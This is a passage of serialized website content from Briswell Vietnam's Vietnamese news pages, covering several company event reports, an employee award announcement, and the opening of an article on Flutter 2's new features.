phút.",[533,9032],{"className":9033,"alt":66,"src":9034,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093246\u002Fz4632813243843_125f2a72f6835e79d7fed18dcc43df3f-768x576.jpg",[11,9036,9038],{"className":9037},[2565,2566,2567,2568,2569],"\nPhần thi của team 1\n",[11,9040,9041],{},"Đội chơi thứ hai gặp phải bộ từ khóa rất khó khiến họ gặp nhiều khó khăn trong việc đoán. Họ chỉ có thể trả lời đúng 7\u002F15 câu trong thời gian 5 phút.",[533,9043],{"className":9044,"alt":66,"src":9045,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25093104\u002Fz4632813210762_9c8d45c1c27d3bb8aa6e55d9eb9d9ff2-768x576.jpg",[11,9047,9049],{"className":9048},[2565,2566,2567,2568,2569],"\nPhần thi của team 2\n",[11,9051,9052],{},"Với đội chơi thứ 3, với sự biểu diễn sinh động và khả năng phán đoán chính xác của mình họ đã xuất sắc đoán đúng 14\u002F15 từ khóa trong vòng 5 phút.",[533,9054],{"className":9055,"alt":66,"src":9056,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085710\u002Fz4632813210889_01d9be5a874bbc7454264e9e94b11e28-768x576.jpg",[11,9058,9060],{"className":9059},[2565,2566,2567,2568,2569],"\nPhần thi của team 3\n",[11,9062,9063],{},"Và thật bất ngờ, cứ tưởng team 3 đã gần như nắm chắc phần thắng khi trả lời đúng 14\u002F15 câu thì sự xuất hiện của team 4 với 15\u002F15 câu đúng đã đánh bại họ và nghiễm nhiên trở thành đội giành chiến thắng trong game 2 của event party này.",[533,9065],{"className":9066,"alt":66,"src":9067,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25131337\u002Fz4632813191059_cf655dc7dfc3aaa139fd7499bfed9699-768x576.jpg",[11,9069,9071],{"className":9070},[2565,2566,2567,2568,2569],"\nPhần thi đến từ team 4\n",[533,9073],{"className":9074,"alt":66,"src":9075,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25084751\u002Fz4632813195607_3833144a7b951fc3bceafad54a8efa65-768x576.jpg",[11,9077,9079],{"className":9078},[2565,2566,2567,2568,2569],"\nCác thành viên mừng rỡ khi nhận phần thưởng chiến thắng từ chương trình\n",[11,9081,9082],{},"Sau khi hết trò chơi thứ 2 là cũng là lúc đến giờ ăn trưa, không khí nóng nực của buổi trưa hè đầy nắng gắt rất thích hợp để mọi người cùng nhau đi vào nhà hàng có máy lạnh để thưởng thức. Nhà hàng may mắn lần này đó là nhà hàng Bếp cuốn, nơi có những món ăn đặc sản truyền thống thơm ngon nổi tiếng của Việt Nam.",[11,9084,9085],{},"Ngoài ra, ở sự kiện lần này, Briswell Vietnam cùng chào đón thêm 4 thành viên mới từ team Dev, các bạn đều là thực tập sinh được lên nhân viên chính thức của công ty, mong các bạn sẽ làm việc hết mình, học hỏi nhiều kinh nghiệm và đóng góp cho sự phát triển của Briswell Vietnam. Chúc mừng các bạn đã trở thành một phần của gia đình Briswell! 🎉🎉🎉.",[11,9087,9088],{},"Event party tháng 8 năm 2023 của công ty đã kết thúc trong niềm vui và hạnh phúc. Chúng ta đã có những giây phút tuyệt vời bên nhau, cùng nhau trải qua những thử thách và hoàn thành các nhiệm vụ. Đây là một cơ hội tuyệt vời để chúng ta gắn kết và hiểu nhau hơn. Cảm ơn tất cả các thành viện đã tham gia và đóng góp cho sự thành công của sự kiện 👏.",[11,9090,9091],{},"Chúc mọi người luôn vui vẻ và hạnh phúc! 😊 và hãy cùng đón chờ sự kiện tiếp theo nhé! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":9093},[],"DONG LE VAN","2023-09-29",{},"\u002Fvi\u002Fnews\u002Fevent-party-thang-08-2023",{"title":8964,"description":8969},"vi\u002Fnews\u002Fevent-party-thang-08-2023","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F08\u002F25085243\u002Fz4632813238716_16ac37851256941a965fc29d809a15dd-2048x1536.jpg","yPwJ3kHm4llk6MC_DacnZPZT1Hqf0VHfN9sqJhkJFdU",{"id":9103,"title":9104,"body":9105,"category":2902,"created by":70,"date":9209,"description":9109,"extension":72,"meta":9210,"navigation":74,"path":9211,"sections":76,"seo":9212,"stem":9213,"thumbnail":9214,"__hash__":9215},"content_vi\u002Fvi\u002Fnews\u002Fevent-thang-05-2023-event-dau-he.md","EVENT THÁNG 05\u002F2023 - EVENT ĐẦU HÈ",{"type":8,"value":9106,"toc":9207},[9107,9110,9113,9116,9119,9123,9127,9130,9134,9138,9142,9146,9149,9152,9156,9160,9168,9172,9176,9180,9183,9186,9189,9197,9201,9204],[11,9108,9109],{},"Mùa hè. Đối với người đi làm thì có lẽ khái niệm mùa hè đã không còn mang lại cảm giác háo hức và mong chờ vì vẫn là một ngày như mọi ngày của các mùa khác. Đôi khi chỉ giật mình nhận ra mùa hè đã đến khi nghe thấy tiếng ve râm ran khắp các tán cây trên đường về lúc tan sở.",[11,9111,9112],{},"Sự kiện lần này của Briswell Vietnam được tổ chức vào cuối tháng 5, có thể xem như đã vào đầu mùa hè; không những thế, lại còn rất gần với ngày Quốc tế Thiếu nhi. Không biết những “người lớn” trong công ty có còn nhớ đến những cảm giác thuở nhỏ không nhỉ? Với mong muốn giúp mọi người có thể quay về tuổi thơ, phần nào quên đi chút vất vả và áp lực trong cuộc sống, chúng mình đã tổ chức những trò chơi mang hương vị của thời thơ bé. Vậy sự kiện của chúng mình đã diễn ra như thế nào nhỉ? Hãy cùng đọc tiếp để theo dõi nhé!",[11,9114,9115],{},"Mở đầu là trò chơi Đuổi hình bắt chữ dí dỏm và hài hước nhưng cũng không kém phần trí tuệ. Có lẽ mọi người đã không còn xa lạ với trò chơi này qua trò chơi truyền hình nổi tiếng đầu những năm 2000, được dẫn chương trình bởi chú Xuân Bắc. Có lẽ cũng vì thế mà mọi người nắm bắt được luật chơi rất nhanh cũng như có thể tìm ra đáp án siêu tốc. Trên truyền hình, người chơi sẽ tham gia với tư cách cá nhân, còn ở Briswell Vietnam, để nâng cao tinh thần đồng đội và tăng sự gắn kết giữa các thành viên, chúng mình chọn cách tham gia tranh tài theo đội.",[11,9117,9118],{},"Ở lượt thứ nhất, hai đội đã phân định thắng thua với tỉ số 6-4. Với các câu hỏi đầu tiên, đội chiến thắng chung cuộc đã có vẻ như đang bị bỏ lại nhưng sau đó lại nhanh chóng bắt kịp và vượt lên giành chiến thắng. Đây quả thật là một trận chiến cam go và ngang tài ngang sức.",[533,9120],{"className":9121,"alt":66,"src":9122,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104054\u002Fh1.png",[11,9124,9126],{"className":9125},[2565,2566,2567,2568,2569],"\nHai đội ở lượt chơi thứ nhất đang tranh tài\n",[11,9128,9129],{},"Đến lượt chơi thứ 2, mặc dù được tăng số câu hỏi nhưng mọi người đều giữ vững được phong độ xuyên suốt trận đấu và kết thúc với tỉ số là 12-8. Sau khi phân định thắng thua, ban tổ chức cũng phải nhờ các đội chơi hỗ trợ đối với những câu hỏi hóc búa. Mặc dù vẫn chưa tìm ra đáp án nhưng chúng mình đã được cùng nhau suy luận, bỏ qua việc suy xét thắng thua giữa các đội, góp phần tăng sự đoàn kết trong đại gia đình Briswell Vietnam.",[533,9131],{"className":9132,"alt":66,"src":9133,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104225\u002Fh2.png",[11,9135,9137],{"className":9136},[2565,2566,2567,2568,2569],"\nCác đội ở lượt chơi thứ hai đang trên đường về đích\n",[533,9139],{"className":9140,"alt":66,"src":9141,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104339\u002Fh3.png",[11,9143,9145],{"className":9144},[2565,2566,2567,2568,2569],"\nCâu hỏi hóc búa mà đến cả ban tổ chức cũng không tìm ra đáp án\n",[11,9147,9148],{},"Không biết lúc nhỏ mọi người có từng mong chờ được đi chợ, đi siêu thị với mẹ không nhỉ? Hay là những lần được mẹ giao cho một danh sách các thứ cần mua và “giao phó” việc đi chợ cho cả gia đình? Lúc đó cảm thấy thật hãnh diện vì có cảm giác như mình đã lớn nhỉ. Mặc dù khi lớn lên, việc đi chợ hay đi siêu thị không còn là những việc mang lại hào hứng như xưa, nhưng khi nhớ về những kỉ niệm lúc nhỏ cũng làm chúng mình cảm thấy thật bồi hồi đúng không?",[11,9150,9151],{},"Vì vậy, để nhớ lại những cảm giác năm nào, ở trò chơi thứ hai, chúng mình tham gia Thử tài đi siêu thị. Trò chơi này sẽ có 4 đội chơi, mỗi đội chơi bốc thăm tên siêu thị mà đội mình phụ trách, sau đó các đội sẽ được xem danh sách sản phẩm của các siêu thị, từng thành viên sẽ phải ghi nhớ tên các sản phẩm của siêu thị đội mình và viết lại. Đội nào có nhiều sản phẩm nhất là đội chiến thắng. Ngoài ra, các đội có thể cộng thêm điểm cho đội mình bằng cách tìm các vật phẩm trong văn phòng có trong danh sách các siêu thị. Phần này của trò chơi lại diễn ra một cách nhộn nhịp vì mọi người cùng nháo nhào truy lùng các đồ vật khắp văn phòng. Trò chơi khép lại với đội chiến thắng là các thành viên của team Dev 3.",[533,9153],{"className":9154,"alt":66,"src":9155,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104510\u002Fh4.png",[11,9157,9159],{"className":9158},[2565,2566,2567,2568,2569],"\nCác đội đang cố gắng ghi nhớ tên sản phẩm của siêu thị đội mình\n",[11,9161,9162,9166],{},[533,9163],{"className":9164,"alt":66,"src":9165,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104633\u002Fh5.png",[570,9167],{},[533,9169],{"className":9170,"alt":66,"src":9171,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104728\u002Fh6.png",[11,9173,9175],{"className":9174},[2565,2566,2567,2568,2569],"\nVật phẩm trong văn phòng mà các đội đã tìm được\n",[533,9177],{"className":9178,"alt":66,"src":9179,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09104849\u002Fh7.png",[11,9181,9182],{},"Phần thưởng dành cho thành viên của đội chiến thắng",[11,9184,9185],{},"Kết thúc trò chơi với tâm trạng sảng khoái, mọi người lại kéo nhau đi ăn tối. Địa điểm được ban tổ chức chọn lọc lần này chính là Seoul Garden, ở đây có không gian rộng rãi nhưng cũng rất ấm cúng; thức ăn lại đa dạng, phong phú với các món nướng đặc trưng của Hàn Quốc. Thật là một địa điểm lý tưởng cho những buổi tụ họp gia đình, bè bạn.",[11,9187,9188],{},"Vừa ăn mọi người lại vừa được trò chuyện bên nhau, những câu chuyện mà khi ở văn phòng khó có dịp để chia sẻ. Ngoài ra, ở sự kiện lần này, Briswell Vietnam lại có thêm sự tham gia của 4 thành viên mới đến từ team Comtor và team Admin, các bạn đều nằm trong số những thành viên nhỏ tuổi trong công ty, lại có thêm một cơ hội để các bạn có thể nhanh chóng hòa nhập với mọi người và hiểu thêm về văn hóa của công ty rồi!",[11,9190,9191,9195],{},[533,9192],{"className":9193,"alt":66,"src":9194,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105001\u002Fh8.png",[570,9196],{},[533,9198],{"className":9199,"alt":66,"src":9200,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F09105053\u002Fh9.png",[11,9202,9203],{},"Vậy là sự kiện tháng 5 đã kết thúc với những tràng cười sảng khoái giúp mọi người xích lại gần nhau hơn. Chúc các thành viên mới sẽ học hỏi thêm được nhiều điều trong quá trình làm việc tại Briswell Vietnam nhé!",[11,9205,9206],{},"Không biết sự kiện tháng sau sẽ có gì nhỉ? Mong chờ quá đi thôi!",{"title":66,"searchDepth":67,"depth":67,"links":9208},[],"2023-06-13",{},"\u002Fvi\u002Fnews\u002Fevent-thang-05-2023-event-dau-he",{"title":9104,"description":9109},"vi\u002Fnews\u002Fevent-thang-05-2023-event-dau-he","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F13111223\u002FIMG_3162-2048x1442.jpg","m4Gx5CMeQrQ6Ob4PvQ5HFhEck78W6yxnfDDWuU-ZmtA",{"id":9217,"title":9218,"body":9219,"category":2902,"created by":6140,"date":9274,"description":9275,"extension":72,"meta":9276,"navigation":74,"path":9277,"sections":76,"seo":9278,"stem":9279,"thumbnail":9280,"__hash__":9281},"content_vi\u002Fvi\u002Fnews\u002Fevent-thang-05-2025.md","EVENT THÁNG 05\u002F2025",{"type":8,"value":9220,"toc":9272},[9221,9224,9227,9240,9251,9254,9258,9269],[11,9222,9223],{},"Sau một khoảng thời gian vắng bóng những buổi gặp gỡ đông đủ, các thành viên trong công ty lại có dịp quây quần bên nhau trong một bữa tối ấm cúng.",[11,9225,9226],{},"Vào một buổi tối tháng 05 dịu nhẹ, bên trong không gian phòng ăn lại ấm áp, rộn ràng với ánh đèn vàng nhẹ. Mọi người cùng nhau thưởng thức những món ăn hấp dẫn, từ đĩa salad tươi ngon đến miếng steak thơm lừng, đậm đà hương vị, kèm theo những ly nước trái cây mát lạnh và cả những ly mocktail đầy màu sắc. Đặc biệt, có một loại thức uống mang cái tên rất thú vị “Chữa Lành” - vừa lạ tai, vừa mang lại cảm giác thư thái đúng như tinh thần của buổi tối hôm ấy.",[855,9228,6535,9232,6535,9236],{"className":9229,"style":9231},[9230],"mt-4","display: flex; gap: 16px;",[533,9233],{"className":9234,"alt":66,"src":9235,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100337\u002FIMG_4414-scaled.jpg",[533,9237],{"className":9238,"alt":66,"src":9239,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100347\u002FIMG_4415-scaled.jpg",[855,9241,6535,9243,6535,9247],{"className":9242,"style":9231},[9230],[533,9244],{"className":9245,"alt":66,"src":9246,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100358\u002FIMG_4416-scaled.jpg",[533,9248],{"className":9249,"alt":66,"src":9250,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100328\u002FIMG_4413-scaled.jpg",[11,9252,9253],{},"Những bữa tiệc tối luôn là dịp để mọi người trò chuyện, vui đùa và gắn kết như một gia đình lớn.",[533,9255],{"className":9256,"alt":66,"src":9257,"style":1178},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100253\u002FIMG_4409-768x1024.jpg",[855,9259,6535,9261,6535,9265],{"className":9260,"style":9231},[9230],[533,9262],{"className":9263,"alt":66,"src":9264,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100307\u002FIMG_4410-scaled.jpg",[533,9266],{"className":9267,"alt":66,"src":9268,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22100320\u002FIMG_4412-scaled.jpg",[11,9270,9271],{},"Chắc chắn sẽ còn nhiều bữa tiệc nữa để chúng ta tiếp tục tạo ra những kỷ niệm đáng nhớ! 🎉",{"title":66,"searchDepth":67,"depth":67,"links":9273},[],"2025-06-02","Sau một khoảng thời gian vắng bóng những buổi gặp gỡ đông đủ, các thành viên trong công ty lại có dịp quây quần bên nhau trong một bữa tối ấm cúng. Vào một buổi tối tháng 05 dịu nhẹ, bên trong không gian phòng ăn lại ấm áp, rộn ràng với ánh đèn vàng nhẹ. Mọi người cùng nhau thưởng thức những món ăn hấp dẫn, từ đĩa salad tươi ngon đến miếng steak thơm lừng, đậm đà hương vị, kèm theo những ly nước trái cây mát lạnh và cả những ly mocktail đầy màu sắc. Đặc biệt, có một loại thức uống mang cái tên rất thú vị “Chữa Lành” - vừa lạ tai, vừa mang lại cảm giác thư thái đúng như tinh thần của buổi tối hôm ấy.",{},"\u002Fvi\u002Fnews\u002Fevent-thang-05-2025",{"title":9218,"description":9275},"vi\u002Fnews\u002Fevent-thang-05-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F05\u002F22170541\u002FCOMPANY-EVENT-IN-052025.png","ylblVaKPGTkY6uNdxdBBLwCP6pP6_pJFlJ3HqSIa6zM",{"id":9283,"title":9284,"body":9285,"category":2902,"created by":9339,"date":9340,"description":9341,"extension":72,"meta":9342,"navigation":74,"path":9343,"sections":76,"seo":9344,"stem":9345,"thumbnail":9346,"__hash__":9347},"content_vi\u002Fvi\u002Fnews\u002Fevent-thang-12-2025.md","EVENT THÁNG 12\u002F2025",{"type":8,"value":9286,"toc":9337},[9287,9290,9293,9298,9306,9310,9313,9322,9331,9334],[11,9288,9289],{},"Tháng 12 về mang theo không khí Giáng Sinh quen thuộc. Âm nhạc rộn ràng, ánh đèn lung linh cùng những chi tiết trang trí lễ hội dần xuất hiện nhiều hơn, hòa vào nhịp sống bận rộn cuối năm và tạo nên một giai điệu rất riêng.",[11,9291,9292],{},"Tại Briswell Việt Nam, sắc màu Giáng Sinh đã sớm lan tỏa khắp văn phòng, từ những góc trang trí nhỏ đến toàn bộ khu vực làm việc và sinh hoạt chung.",[533,9294],{"className":9295,"alt":66,"src":9297,"style":1178},[536,537,9296],"mb-4","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30101403\u002FIMG_8344-scaled.jpg",[855,9299,6535,9300,6535,9303],{"style":9231},[533,9301],{"alt":66,"src":9302,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091634\u002FIMG_8331-scaled.jpg",[533,9304],{"alt":66,"src":9305,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091645\u002FIMG_8332-810x1024.jpg",[533,9307],{"className":9308,"alt":66,"src":9309,"style":1178},[536,537,9230],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091655\u002FIMG_8333-1216x1536.jpg",[11,9311,9312],{},"Nhân dịp này, Briswell tổ chức một buổi event nho nhỏ, tạo cơ hội để toàn thể nhân viên cùng giao lưu và tận hưởng không khí lễ hội.",[855,9314,6535,9316,6535,9319],{"className":9315,"style":9231},[9296],[533,9317],{"alt":66,"src":9318,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091553\u002FIMG_8323-1152x1536.jpg",[533,9320],{"alt":66,"src":9321,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091611\u002FIMG_8326-1152x1536.jpg",[855,9323,6535,9325,6535,9328],{"className":9324,"style":9231},[9230],[533,9326],{"alt":66,"src":9327,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091603\u002FIMG_8325-scaled.jpg",[533,9329],{"alt":66,"src":9330,"style":604},"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30091704\u002FIMG_8337-1152x1536.jpg",[11,9332,9333],{},"Buổi tiệc diễn ra sôi nổi; tiếng cười, những cuộc trò chuyện ngắn và các hoạt động chụp ảnh đã góp phần “up mood” cho các thành viên, mang lại cảm giác thoải mái và nhiều năng lượng tích cực.",[11,9335,9336],{},"Kết thúc trong không khí thoải mái, mỗi thành viên ra về với những bức ảnh kỷ niệm và một buổi tối Giáng Sinh trọn vẹn cùng đồng nghiệp. Buổi tiệc tuy đơn giản nhưng đủ để trở thành một dấu ấn đáng nhớ trong hành trình gắn kết của tập thể Briswell.",{"title":66,"searchDepth":67,"depth":67,"links":9338},[],"PHAM NGOC GIANG THANH","2026-01-09","Tháng 12 về mang theo không khí Giáng Sinh quen thuộc. Âm nhạc rộn ràng, ánh đèn lung linh cùng những chi tiết trang trí lễ hội dần xuất hiện nhiều hơn, hòa vào nhịp sống bận rộn cuối năm và tạo nên một giai điệu rất riêng. Tại Briswell Việt Nam, sắc màu Giáng Sinh đã sớm lan tỏa khắp văn phòng, từ những góc trang trí nhỏ đến toàn bộ khu vực làm việc và sinh hoạt chung.",{},"\u002Fvi\u002Fnews\u002Fevent-thang-12-2025",{"title":9284,"description":9341},"vi\u002Fnews\u002Fevent-thang-12-2025","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F12\u002F30111621\u002Ftittle_3.png","bhHnKIv1krSM-Aqf0ElH63LjfFT4kCbXuwuNiIBOwpU",{"id":9349,"title":9350,"body":9351,"category":69,"created by":70,"date":9407,"description":9408,"extension":72,"meta":9409,"navigation":74,"path":9410,"sections":76,"seo":9411,"stem":9412,"thumbnail":9413,"__hash__":9414},"content_vi\u002Fvi\u002Fnews\u002Fexcellent-staff-4-2020.md","Nhân viên xuất sắc Quý 4\u002F2020",{"type":8,"value":9352,"toc":9405},[9353,9356,9359,9364,9369,9373,9376,9379,9384,9389,9393,9396,9399,9402],[11,9354,9355],{},"Giải thưởng Nhân viên xuất sắc Quý 4\u002F2020 đã tới, Giải thưởng ghi nhận lại những cống hiến và cố gắng hết mình của các thành viên Công ty sau 1 Quý làm việc",[11,9357,9358],{},"Cùng theo chân mình để tìm hiểu chủ nhân của những giải thưởng này là ai nhé!",[11,9360,9361],{},[20,9362,9363],{},"Giải Nhất",[11,9365,9366],{},[20,9367,9368],{},"Bạn Bùi Đức Huy, team Com",[533,9370],{"className":9371,"alt":66,"src":9372,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142112\u002FIMG_8527-scaled.jpg",[11,9374,9375],{},"Lại 1 lần nữa, bạn nam đến từ team Com đã gây được sự chú ý và sự công nhận từ các đàn anh Leader. Bạn tham gia team dự án với vai trò chính là một tester, dù còn rất trẻ nhưng tinh thần trách nhiệm bản thân của bạn được thể hiện rất cao, cũng như tinh thần cống hiến cho công việc",[11,9377,9378],{},"Hi vọng với tinh thần làm việc và cống hiến này, Huy có thể thăng tiến nhiều hơn nữa trong tương lai",[11,9380,9381],{},[20,9382,9383],{},"Và Giải Nhì",[11,9385,9386],{},[20,9387,9388],{},"Bạn Lê Ngọc Khánh, team Dev2",[533,9390],{"className":9391,"alt":66,"src":9392,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142125\u002FIMG_8524-scaled.jpg",[11,9394,9395],{},"Là một thành viên còn khá mới của ngôi nhà Briswell. Tuy là một cậu em út mới vừa ra trường, nhưng sau một thời gian học hỏi, làm việc, Khánh đã có rất nhiều cố gắng trong công việc, bạn sẵn sàng lắng nghe và tiếp thu ý kiến đóng góp để trau dồi, nâng cao bản thân.",[11,9397,9398],{},"Hy vọng Khánh sẽ tiếp tục phát huy điểm mạnh của mình trong tương lai.",[11,9400,9401],{},"Chúc mừng các bạn đạt giải nhân viên xuất sắc kỳ này!",[11,9403,9404],{},"Năm 2020 đã khép lại, Các thành viên của Briswell ơi, mình cùng nhau chào đón năm 2021 với thật nhiều thử thách và cố gắng hơn nữa nhé!",{"title":66,"searchDepth":67,"depth":67,"links":9406},[],"2021-02-09","Giải thưởng Nhân viên xuất sắc Quý 4\u002F2020 đã tới, Giải thưởng ghi nhận lại những cống hiến và cố gắng hết mình của các thành viên Công ty sau 1 Quý làm việc. Cùng theo chân mình để tìm hiểu chủ nhân của những giải thưởng này là ai nhé!",{},"\u002Fvi\u002Fnews\u002Fexcellent-staff-4-2020",{"title":9350,"description":9408},"vi\u002Fnews\u002Fexcellent-staff-4-2020","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F02\u002F08142352\u002FCover-1.png","b8kyEg_WHHGwI2sgE_zypXMfUilAVgvWy3usmcdZQlQ",{"id":9416,"title":9417,"body":9418,"category":10013,"created by":70,"date":10014,"description":10015,"extension":72,"meta":10016,"navigation":74,"path":10017,"sections":76,"seo":10018,"stem":10019,"thumbnail":10020,"__hash__":10021},"content_vi\u002Fvi\u002Fnews\u002Fflutter2.md","Flutter2",{"type":8,"value":9419,"toc":10002},[9420,9428,9472,9485,9488,9492,9495,9502,9508,9514,9520,9525,9531,9538,9544,9547,9553,9556,9562,9566,9575,9581,9592,9598,9602,9612,9616,9619,9623,9627,9633,9640,9644,9655,9659,9669,9673,9676,9680,9684,9690,9702,9708,9728,9739,9745,9762,9766,9769,9777,9783,9790,9796,9803,9809,9812,9818,9821,9824,9828,9831,9835,9839,9845,9859,9863,9907,9911,9925,9930,9950,9954,9957,9960,9962],[11,9421,9422,9423,9427],{},"Vào ngày 4\u002F3\u002F2021, ",[58,9424,9417],{"href":9425,"rel":9426,"title":9417},"https:\u002F\u002Fdevelopers.googleblog.com\u002F2021\u002F03\u002Fannouncing-flutter-2.html",[62]," đã được công bố với các tính năng mới như sau:",[31,9429,9430,9433,9441,9455,9469],{},[34,9431,9432],{},"Hỗ trợ  cho web và desktop(ứng dụng trên hệ điều hành) đã ở trên kênh stable(trước đây chúng ở trên kênh beta), điều này có nghĩa là bạn có thể chính thức mang ứng dụng của mình chạy trên Web, hệ điều hành Mac và Windows.",[34,9434,9435,9440],{},[58,9436,9439],{"href":9437,"rel":9438},"https:\u002F\u002Fproxify.io\u002Farticles\u002Fflutter-2-null-safety",[62],"Sound Null Safety",": không phải tất cả các thư viện đều cập nhật tính năng này nên bạn cần xem xét vấn đề này khi có ý định cập nhật phiên bản Flutter cho dự án của bạn.",[34,9442,9443,9444,9449,9450,974],{},"Các Widget mới : ",[58,9445,9448],{"href":9446,"rel":9447},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FAutocomplete-class.html",[62],"Autocomplete"," và ",[58,9451,9454],{"href":9452,"rel":9453},"https:\u002F\u002Fapi.flutter.dev\u002Fflutter\u002Fmaterial\u002FScaffoldMessenger-class.html",[62],"ScaffoldMessenger",[34,9456,9457,9458,9463,9464,1780],{},"Nâng cấp phần mở rộng cho các công cụ lập trình(",[58,9459,9462],{"href":9460,"rel":9461},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fvs-code",[62],"Visual Studio Code"," và ",[58,9465,9468],{"href":9466,"rel":9467},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fdevelopment\u002Ftools\u002Fandroid-studio",[62],"Android Studio",[34,9470,9471],{},"Cập nhật Ecosystem và DevTools, thêm Flutter Fix và fix các lỗi.",[11,9473,9474,9475,9479,9480,9484],{},"Bạn có thể tham khảo toàn bộ cập nhật mới ở ",[58,9476,9478],{"href":9425,"rel":9477},[62],"Announcing Flutter 2",". Nếu bạn muốn trải nghiệm thì bạn có thể tải về bản cài đặt ở ",[58,9481,1905],{"href":9482,"rel":9483},"https:\u002F\u002Fflutter.dev\u002Fdocs\u002Fget-started\u002Finstall",[62]," .",[11,9486,9487],{},"Sau đây chúng tôi sẽ hướng dẫn bạn cấu hình cho 1 dự án Flutter2 trên hệ điều hành Mac và chạy nó trên các nền tảng khác nhau(iOS, Web, Mac). Tiếp tục 